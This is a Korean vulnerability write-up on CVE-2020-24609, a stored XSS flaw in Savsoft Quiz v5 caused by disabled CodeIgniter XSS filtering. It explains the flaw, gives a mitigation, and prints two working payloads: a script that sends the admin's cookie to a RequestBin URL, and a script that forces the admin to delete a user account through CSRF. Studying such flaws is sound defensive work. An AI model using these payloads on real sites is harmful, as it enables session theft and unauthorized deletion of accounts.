1. 개요

CVE 코드

CVE – 2020 -24609

분류

Stored XSS (Cross Site Scripting)

대상 어플리케이션

savsoftquiz_v5

취약 코드

application\config\config.php

실행 환경

Apache 2.0 / Windows 7 x64 / Codeigniter Web Framework

퀴즈를 제공하여 사용자에게 수익을 얻는 플랫폼이다.

Codeigniter Web Framework를 기반으로 만들어졌다. Codeigniter에서 제공하는 XSS필터링 기능을 사용하지 않아 XSS 문제가 발생하였다.

공격자는 악성스크립트를 삽입하여 쿠키, 세션 탈취, DBD 공격을 유도할 수 있다.

(그림 1) 메인 페이지 화면
(그림 2) XSS가 발생한 페이지  

 

XSS (Cross Site Scripting)

XSS공격이란 권한 없는 사용자가 웹사이트에 스크립트를 삽입하는 공격 기법이다.

공격에 성공하게 되면 사용자들은 악성스크립트가 삽입된 페이지에 접근했을 때 스크립트가 실행되어 쿠키나 세션 탈취, 악성 홈페이지 접속, DBD 유도 등의 피해를 입을 수 있다.

자주 쓰이는 공격 방법은 StoredReflected가 있다.

 

Stored XSS

웹사이트 게시판이나 특정 페이지에 스크립트를 삽입하는 공격 방식이다.

악성스크립트가 삽입된 페이지를 로드하면 스크립트가 실행된다.

Stored XSS

Reflected XSS

공격자는 XSS 동작하는 URL 악성스크립트를 삽입하고 노출시킨다.

사용자가 해당 URL 서버에 전송하면 서버는 정확한 결과가 없어 결과를 처리하지 못하고 악성스크립트를 응답페이지에 포함하여 사용자에게 돌려준다.

 

Reflected XSS


2.   상세분석

2.1. 발생 원리

Codeigniter Web Framework는 자체 XSS필터 기능을 제공한다.

Global_xss_filtering값이 FALSE로 설정되어 있어 XSS가 발생 하였다.

( 그림 5) global_xss_filtering이 FALSE로 되어있다.

 

 

Name 악성스크립트 삽입 admin 대쉬보드 페이지에 악성 스크립트가 등록된다.

(그림6) 악성 스크립트가 삽입되는 위치

 

2.2 취약점 확인

Stored XSS 취약점을 이용하여 admin의 세션 쿠키을 탈취할 것이다.

쿠키 값을 받아오기 위해 RequestBin사이트를 이용했다.

ReuestBin은 온라인 기방의 웹 훅 요청 데이터 확인 도구이다.

간단하게 URL를 생성하고 해당 URL을 이용하여 데이터를 가져올 수 있다.

ReuestBin 이용하여 생성한 URL에 쿠기 데이터를 전송하여 쿠키를 탈취해 온다.

( 그림7)    클릭 하나 만으로 쉽게 웹 훅 환경을 만들 수 있다.

 

가입창에 악성 스크립트를 삽입한다.

스크립트 :

<script>window.location.href="RequestBin URL/?cookie="+document.cookie</script>

(그림8) Contact칸에 악성 스크립트를 삽입  

 

admin으로 대쉬보드에 로그인 한다.

스크립트가 실행됐으나 Cookie옵션이 HttpOnly 때문에 쿠기 탈취가 불가능했다.

 

( 그림10) Httponly 옵션으로 인해 아무런 값이 들어가지 않는다.

 

 

XSS를 이용하여 CSRF 공격을 시도하였다.

공격자는 6번을 삭제를 목표로 CSRF 공격을 시도한다.

Admin은 의도치 않게 6번을 삭제하는 URL를 실행시킨다.

스크립트 :

<script>window.location.href="http://192.168.0.132/savsoftquiz/index.php/user/remove_user/6"</script>

( 그림11) 정상적으로 실행되면 subadmin이 삭제된다.

 

( 그림12) CSRF 공격시도

 

 

성공적으로 스크립트가 실행되었다.

( 그림14) subadmin 계정이 삭제 되었다.


3.대응 방안

config.phpglobal_xss_filtering TRUE로 바꾼다.

 

 

적용

(그림16) 필터링되어 XSS가 발생하지 않는다.  


4. 참고자료

 

-  Savsoft Quiz 5

https://github.com/savsofts/savsoftquiz_v5.git  

-  Exploit-DB

https://www.exploit-db.com/exploits/48753  

-  CodeIgniter

https://www.codeigniter.com/userguide3/index.html

 


CVE-2020-24609_보고서.pdf
0.76MB

+ Recent posts